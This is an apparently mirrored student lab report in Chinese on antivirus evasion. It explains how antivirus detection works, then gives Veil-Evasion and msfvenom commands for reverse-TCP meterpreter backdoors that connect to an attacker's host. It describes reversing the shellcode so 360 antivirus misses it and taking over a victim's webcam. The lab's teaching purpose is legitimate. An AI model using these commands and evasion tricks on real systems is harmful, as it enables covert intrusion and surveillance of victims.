zoukankan      html  css  js  c++  java
  • 20145240《网络攻防》免杀原理与实践

    免杀原理与实践

    1.基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 杀毒软件(AV)是一个较大规模安全防护策略的重要组成部分,能够减缓恶意软件在互联网上的传播速度,保护用户主机。

    • 特征库举例:首先对已经有过的恶意代码建立特征库,对其特征码进行匹配检测,若匹配成功,则为恶意代码需进行防范。
      因此有些新型恶意代码则更容易绕过杀软,在被检测出之前,可能有部分用户会被感染,因此需要及时更新恶意代码特征库。

    • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。

    • 基于行为的恶意软件检测:监控该代码的行为,看是否有恶意行为,或正在做与恶意代码所做的事情相同,威胁到主机安全,则极有可能为恶意代码。

    (2)免杀是做什么?

    • 免杀即“反杀毒技术”,让安插的后门不被AV软件发现。通过改变代码的特征,让杀毒软件成为摆设,防止被杀软查杀的一种技术。

    (3)免杀的基本方法有哪些?

    修改方法:

    • 方法一:直接修改特征码的十六进制法
    • 方法二:修改字符串大小写法
    • 方法三:等价替换法
    • 方法四:指令顺序调换法
    • 方法五:通用跳转法
    • 方法六:一键加壳法

    文件免杀方法:

    • 加冷门壳
    • 加壳改壳
    • 加花指令
    • 改程序入口点

    2.实践总结与体会

    • 每次实验在学习到新知识的同时而且也刷新自己对网络安全的认知,曾经以为杀毒软件很安全了的,没想到自己做的小程序杀毒软件都查杀不出来,何况更厉害的程序员编的呢?感觉想绕过杀毒软件简直是轻而易举。虽然我们电脑里没有什么重要的文件,日常生活中不能因为这样就不用杀毒软件了,还是要定期杀毒,定期更新。

    3.离实战还缺些什么技术或步骤?

    • 或许我们应该再学习一些如何潜如目标主机且不被发现的技术,因为如果要实战的话,我们这方面的能力还是不够的, 还是无法神不知鬼不觉侵入目标主机,我们编代码的能力也需要提高,代码特征库在不断更新,我们也要不断更新自己的技术。

    4.实践过程记录

    (1)理解免杀技术原理

    • 让安插的后门不被AV软件发现,轻易获得靶机各种权限。通过改变代码的特征,让杀毒软件成为摆设,防止被杀软查杀的一种技术。

    (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

    Veil-Evasion免杀平台

    • 在终端下输入指令veil-evasion即可打开软件,依次输入以下指令
    use python/meterpreter/rev_tcp  //设置payload
    set LHOST 192.168.208.128    //设置反弹连接IP
    set LPORT 443    //设置反弹端口443
    generate    //生成
    5240    //程序名
    1
    

    • 输入生成的程序名称后,选择1,默认配置。

    • 生成成功。

    • 并将生成的文件拷到靶机,发现被杀毒软件查杀

    • 使用VirSCAN.org检测

    • 在靶机上运行5240.exe ,kali成功获取权限。

    (3)通过组合应用各种技术实现恶意代码免杀

    利用shellcode编写后门程序的检测

    • 在kali终端,执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=443 -f c ,生成一个c语言格式的Shellcode数组

    • 将生成的代码从虚拟机里拷贝出来,用Visual C++ 6.0进行编译运行生成可执行文件lsj.exe

    • 然后在kali下进入msf打开监听进程,在靶机上运行可执行文件ymj.exe,kali成功获取权限

    • 再次用VirSCAN.org进行检测,结果如下。能检测出来的概率已经变低很多了。

    • 不难发现,利用shellcode编写后门程序相比上一次通过msfvenom指令生成一个后门程序而言,风险降低了很多,但是仍有很大概率被检测为病毒文件,我们对代码进行进一步改进。

    尝试修改shellcode—将shellcode逆序

    • 我们对这个数组做一些变化,原有shellcode不变,只在vc下对源代码进行修改将shellcode先进行逆序操作得到另外一个数组,然后之后再把它逆序回来, 回连测试。

    • 再次用VirSCAN.org进行检测,发现很多杀毒软件已经倒下了。。

    (4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 按照上次实验用过的msf监听方法在Kali上打开监听,在Windows主机开启杀软(Win8安装360杀毒)的情况下,运行最后生成的优化版lsj2.exe文件,获取摄像头,为图书馆。

  • 相关阅读:
    感悟优化——Netty对JDK缓冲区的内存池零拷贝改造
    由浅入深理解Java线程池及线程池的如何使用
    Http学习笔记
    zookeeper集群配置详细教程
    kafka学习笔记——基本概念与安装
    干货——详解Java中的关键字
    Java基础巩固——排序
    你可以这么理解五种I/O模型
    Java中的NIO基础知识
    Java基础巩固——异常
  • 原文地址:https://www.cnblogs.com/20145240lsj/p/6607032.html
Copyright © 2011-2022 走看看